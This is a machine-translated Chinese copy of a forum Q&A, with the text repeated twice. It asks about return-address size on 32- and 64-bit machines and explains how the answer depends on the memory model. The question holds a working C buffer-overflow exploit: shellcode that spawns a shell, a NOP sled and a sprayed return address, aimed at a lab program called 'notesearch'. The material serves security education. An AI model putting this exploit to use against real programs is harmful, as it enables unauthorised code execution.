return 地址的大小是多少?
What is the size of a return address?
我知道这听起来有点菜鸟,但我在任何地方都找不到。
在 64 位机器上,一个 return 地址是多少字节? 32 位呢?
我问的原因是因为我正在学习缓冲区溢出攻击,我必须编写一个攻击。有一个程序在缓冲区中分配了 100 个字符,但不检查它是否溢出。我目前的程序是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char shellcode[] =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset = 176;
char *command, *buffer;
command = (char *) malloc(200);
memset(command, 0, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = ((long int) &i) - offset; //Set return address
for(i=0; i <160; i+=8) //Fill buffer with return addres
*((long int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
我想知道的原因是当我用 return 地址填充缓冲区时,我需要确保它的大小正确
这取决于您所说的“64 位机器”或“32 位机器”。
首先,您的问题被标记为 C。C 平台可以相当(或完全)独立于底层硬件来实现,这意味着它可以使用任何大小的 return 地址,而不管机器如何。
其次,如果 C 平台与底层硬件保持密切联系(通常是这种情况),那么在具有平面内存模型的平台上应该相当简单:64 位机器意味着 64 位 return 地址; 32位机器表示32位return地址。
另一方面,在具有分段内存的平台上,它可能取决于 compiler-provided run-time 内存模型。例如,在 16 位机器的 DOS 平台上 return 地址可以是 16 位或 32 位,具体取决于所选的内存模型。
我知道这听起来有点菜鸟,但我在任何地方都找不到。 在 64 位机器上,一个 return 地址是多少字节? 32 位呢?
我问的原因是因为我正在学习缓冲区溢出攻击,我必须编写一个攻击。有一个程序在缓冲区中分配了 100 个字符,但不检查它是否溢出。我目前的程序是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char shellcode[] =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset = 176;
char *command, *buffer;
command = (char *) malloc(200);
memset(command, 0, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = ((long int) &i) - offset; //Set return address
for(i=0; i <160; i+=8) //Fill buffer with return addres
*((long int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
我想知道的原因是当我用 return 地址填充缓冲区时,我需要确保它的大小正确
这取决于您所说的“64 位机器”或“32 位机器”。
首先,您的问题被标记为 C。C 平台可以相当(或完全)独立于底层硬件来实现,这意味着它可以使用任何大小的 return 地址,而不管机器如何。
其次,如果 C 平台与底层硬件保持密切联系(通常是这种情况),那么在具有平面内存模型的平台上应该相当简单:64 位机器意味着 64 位 return 地址; 32位机器表示32位return地址。
另一方面,在具有分段内存的平台上,它可能取决于 compiler-provided run-time 内存模型。例如,在 16 位机器的 DOS 平台上 return 地址可以是 16 位或 32 位,具体取决于所选的内存模型。